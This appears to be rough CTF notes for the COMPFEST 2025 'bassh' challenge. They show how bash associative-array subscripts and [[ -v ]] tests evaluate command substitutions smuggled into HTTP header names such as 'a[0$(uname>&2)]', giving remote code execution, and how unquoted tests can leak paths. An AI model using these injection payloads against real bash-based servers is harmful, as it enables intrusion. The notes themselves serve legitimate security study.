| Event Name | COMPFEST 2025 Quals |
|---|---|
| GitHub URL | - |
| Challenge Name | bassh |
┌──(dimas㉿Dimas)-[~/documents/writeup/compfest]
└─$ ls $(basename -s .py -z .. / .. / .. / .. / .. / .. /)
bash: warning: command substitution: ignored null byte in input
bin home lib media root srv var wslCmgFoP wsljiHdFL wslmieAAa
boot init lib32 mnt run sys vmlinuz wslEdiBAa wslJmlgFL
dev initrd.img lib64 opt sbin tmp vmlinuz.old wslFbCppP wsljNLgEL
etc initrd.img.old lost+found proc SessionDB usr wslAEPkoP wslhmFbFL wslLICEDL
there’s some strange behaviour in bash version 5.0.3(1)-release (in version 5.2.26 doesn’t work) where array such as this will execute header_name
header_name='x[$(whoami)]'
testing[$header_name]="x"
this is vulnerable too from kalmarctf 2024
if [[ -v request_headers[$header_name] ]]; then
this works too in latest version
header='a[0$(uname>&2)]: asd'
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
request_headers[$header_name]=$header_value
if [[ -v request_headers[$header_name] ]]; then
echo "Invalid Content-Length"
fi
but it can’t be trigger if we declare the array before
set -e
declare -A request_headers
header='a[0$({touch,foo})]: asd'
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
request_headers[$header_name]=$header_value
if [[ -v request_headers[$header_name] ]]; then
echo "Invalid Content-Length"
fi
Note that arithmetic evaluation can be done by $((...))
(aka $[...] in bash or zsh) but
also depending on the shell in the let,
[/test,
declare/typeset/export..., return,
break, continue, exit,
printf, print builtins, array indices,
((..)) and [[...]] constructs to name a
few).
rce
set -e
declare -A request_headers
header='a[0$({touch,foo})]:'
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
request_headers[$header_name]=$header_value
if [ -v request_headers[$header_name] ]; then
echo "Invalid Content-Length"
fi
in
if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then abort 'Invalid protocol' fi
can leak file location/hidden path
https://ireland.re/posts/KalmarCTF_2024/#webbadass-server-for-hypertext